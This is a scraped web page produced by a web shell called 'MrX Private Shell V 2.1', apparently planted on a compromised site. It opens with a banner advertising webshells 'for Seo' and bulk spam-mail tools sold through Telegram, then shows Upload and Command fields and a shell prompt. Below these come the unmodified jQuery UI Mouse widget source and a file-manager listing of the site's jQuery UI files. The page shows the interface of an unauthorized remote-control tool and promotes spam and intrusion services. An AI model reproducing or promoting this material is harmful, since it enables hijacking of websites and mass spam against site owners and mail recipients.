__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/*!
 * jQuery UI Mouse 1.13.3
 * https://jqueryui.com
 *
 * Copyright OpenJS Foundation and other contributors
 * Released under the MIT license.
 * https://jquery.org/license
 */

//>>label: Mouse
//>>group: Widgets
//>>description: Abstracts mouse-based interactions to assist in creating certain widgets.
//>>docs: https://api.jqueryui.com/mouse/

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [
			"jquery",
			"../ie",
			"../version",
			"../widget"
		], factory );
	} else {

		// Browser globals
		factory( jQuery );
	}
} )( function( $ ) {
"use strict";

var mouseHandled = false;
$( document ).on( "mouseup", function() {
	mouseHandled = false;
} );

return $.widget( "ui.mouse", {
	version: "1.13.3",
	options: {
		cancel: "input, textarea, button, select, option",
		distance: 1,
		delay: 0
	},
	_mouseInit: function() {
		var that = this;

		this.element
			.on( "mousedown." + this.widgetName, function( event ) {
				return that._mouseDown( event );
			} )
			.on( "click." + this.widgetName, function( event ) {
				if ( true === $.data( event.target, that.widgetName + ".preventClickEvent" ) ) {
					$.removeData( event.target, that.widgetName + ".preventClickEvent" );
					event.stopImmediatePropagation();
					return false;
				}
			} );

		this.started = false;
	},

	// TODO: make sure destroying one instance of mouse doesn't mess with
	// other instances of mouse
	_mouseDestroy: function() {
		this.element.off( "." + this.widgetName );
		if ( this._mouseMoveDelegate ) {
			this.document
				.off( "mousemove." + this.widgetName, this._mouseMoveDelegate )
				.off( "mouseup." + this.widgetName, this._mouseUpDelegate );
		}
	},

	_mouseDown: function( event ) {

		// don't let more than one widget handle mouseStart
		if ( mouseHandled ) {
			return;
		}

		this._mouseMoved = false;

		// We may have missed mouseup (out of window)
		if ( this._mouseStarted ) {
			this._mouseUp( event );
		}

		this._mouseDownEvent = event;

		var that = this,
			btnIsLeft = ( event.which === 1 ),

			// event.target.nodeName works around a bug in IE 8 with
			// disabled inputs (#7620)
			elIsCancel = ( typeof this.options.cancel === "string" && event.target.nodeName ?
				$( event.target ).closest( this.options.cancel ).length : false );
		if ( !btnIsLeft || elIsCancel || !this._mouseCapture( event ) ) {
			return true;
		}

		this.mouseDelayMet = !this.options.delay;
		if ( !this.mouseDelayMet ) {
			this._mouseDelayTimer = setTimeout( function() {
				that.mouseDelayMet = true;
			}, this.options.delay );
		}

		if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) {
			this._mouseStarted = ( this._mouseStart( event ) !== false );
			if ( !this._mouseStarted ) {
				event.preventDefault();
				return true;
			}
		}

		// Click event may never have fired (Gecko & Opera)
		if ( true === $.data( event.target, this.widgetName + ".preventClickEvent" ) ) {
			$.removeData( event.target, this.widgetName + ".preventClickEvent" );
		}

		// These delegates are required to keep context
		this._mouseMoveDelegate = function( event ) {
			return that._mouseMove( event );
		};
		this._mouseUpDelegate = function( event ) {
			return that._mouseUp( event );
		};

		this.document
			.on( "mousemove." + this.widgetName, this._mouseMoveDelegate )
			.on( "mouseup." + this.widgetName, this._mouseUpDelegate );

		event.preventDefault();

		mouseHandled = true;
		return true;
	},

	_mouseMove: function( event ) {

		// Only check for mouseups outside the document if you've moved inside the document
		// at least once. This prevents the firing of mouseup in the case of IE<9, which will
		// fire a mousemove event if content is placed under the cursor. See #7778
		// Support: IE <9
		if ( this._mouseMoved ) {

			// IE mouseup check - mouseup happened when mouse was out of window
			if ( $.ui.ie && ( !document.documentMode || document.documentMode < 9 ) &&
					!event.button ) {
				return this._mouseUp( event );

			// Iframe mouseup check - mouseup occurred in another document
			} else if ( !event.which ) {

				// Support: Safari <=8 - 9
				// Safari sets which to 0 if you press any of the following keys
				// during a drag (#14461)
				if ( event.originalEvent.altKey || event.originalEvent.ctrlKey ||
						event.originalEvent.metaKey || event.originalEvent.shiftKey ) {
					this.ignoreMissingWhich = true;
				} else if ( !this.ignoreMissingWhich ) {
					return this._mouseUp( event );
				}
			}
		}

		if ( event.which || event.button ) {
			this._mouseMoved = true;
		}

		if ( this._mouseStarted ) {
			this._mouseDrag( event );
			return event.preventDefault();
		}

		if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) {
			this._mouseStarted =
				( this._mouseStart( this._mouseDownEvent, event ) !== false );
			if ( this._mouseStarted ) {
				this._mouseDrag( event );
			} else {
				this._mouseUp( event );
			}
		}

		return !this._mouseStarted;
	},

	_mouseUp: function( event ) {
		this.document
			.off( "mousemove." + this.widgetName, this._mouseMoveDelegate )
			.off( "mouseup." + this.widgetName, this._mouseUpDelegate );

		if ( this._mouseStarted ) {
			this._mouseStarted = false;

			if ( event.target === this._mouseDownEvent.target ) {
				$.data( event.target, this.widgetName + ".preventClickEvent", true );
			}

			this._mouseStop( event );
		}

		if ( this._mouseDelayTimer ) {
			clearTimeout( this._mouseDelayTimer );
			delete this._mouseDelayTimer;
		}

		this.ignoreMissingWhich = false;
		mouseHandled = false;
		event.preventDefault();
	},

	_mouseDistanceMet: function( event ) {
		return ( Math.max(
				Math.abs( this._mouseDownEvent.pageX - event.pageX ),
				Math.abs( this._mouseDownEvent.pageY - event.pageY )
			) >= this.options.distance
		);
	},

	_mouseDelayMet: function( /* event */ ) {
		return this.mouseDelayMet;
	},

	// These are placeholder methods, to be overriden by extending plugin
	_mouseStart: function( /* event */ ) {},
	_mouseDrag: function( /* event */ ) {},
	_mouseStop: function( /* event */ ) {},
	_mouseCapture: function( /* event */ ) {
		return true;
	}
} );

} );

Filemanager

Name Type Size Permission Actions
accordion.js File 15.76 KB 0640
accordion.min.js File 8.65 KB 0640
autocomplete.js File 17.12 KB 0640
autocomplete.min.js File 8.34 KB 0640
button.js File 11.43 KB 0640
button.min.js File 6.01 KB 0640
checkboxradio.js File 7.41 KB 0640
checkboxradio.min.js File 4.25 KB 0640
controlgroup.js File 8.42 KB 0640
controlgroup.min.js File 4.3 KB 0640
core.js File 48.72 KB 0640
core.min.js File 20.96 KB 0640
datepicker.js File 80.59 KB 0640
datepicker.min.js File 35.89 KB 0640
dialog.js File 23.34 KB 0640
dialog.min.js File 12.79 KB 0640
draggable.js File 34.71 KB 0640
draggable.min.js File 17.99 KB 0640
droppable.js File 12.6 KB 0640
droppable.min.js File 6.51 KB 0640
effect-blind.js File 1.61 KB 0640
effect-blind.min.js File 880 B 0640
effect-bounce.js File 2.6 KB 0640
effect-bounce.min.js File 991 B 0640
effect-clip.js File 1.54 KB 0640
effect-clip.min.js File 796 B 0640
effect-drop.js File 1.56 KB 0640
effect-drop.min.js File 753 B 0640
effect-explode.js File 2.86 KB 0640
effect-explode.min.js File 1.1 KB 0640
effect-fade.js File 968 B 0640
effect-fade.min.js File 525 B 0640
effect-fold.js File 2.13 KB 0640
effect-fold.min.js File 1020 B 0640
effect-highlight.js File 1.21 KB 0640
effect-highlight.min.js File 648 B 0640
effect-puff.js File 995 B 0640
effect-puff.min.js File 510 B 0640
effect-pulsate.js File 1.53 KB 0640
effect-pulsate.min.js File 688 B 0640
effect-scale.js File 1.34 KB 0640
effect-scale.min.js File 723 B 0640
effect-shake.js File 1.84 KB 0640
effect-shake.min.js File 846 B 0640
effect-size.js File 5.29 KB 0640
effect-size.min.js File 2.43 KB 0640
effect-slide.js File 1.92 KB 0640
effect-slide.min.js File 917 B 0640
effect-transfer.js File 888 B 0640
effect-transfer.min.js File 442 B 0640
effect.js File 24.04 KB 0640
effect.min.js File 10.09 KB 0640
menu.js File 18.52 KB 0640
menu.min.js File 9.96 KB 0640
mouse.js File 6.08 KB 0640
mouse.min.js File 3.35 KB 0640
progressbar.js File 4.14 KB 0640
progressbar.min.js File 2.5 KB 0640
resizable.js File 29.78 KB 0640
resizable.min.js File 18.38 KB 0640
selectable.js File 7.94 KB 0640
selectable.min.js File 4.4 KB 0640
selectmenu.js File 15.96 KB 0640
selectmenu.min.js File 9.28 KB 0640
slider.js File 19.14 KB 0640
slider.min.js File 10.51 KB 0640
sortable.js File 46.52 KB 0640
sortable.min.js File 24.91 KB 0640
spinner.js File 14.1 KB 0640
spinner.min.js File 7.5 KB 0640
tabs.js File 23.11 KB 0640
tabs.min.js File 11.73 KB 0640
tooltip.js File 14.14 KB 0640
tooltip.min.js File 6.1 KB 0640
Filemanager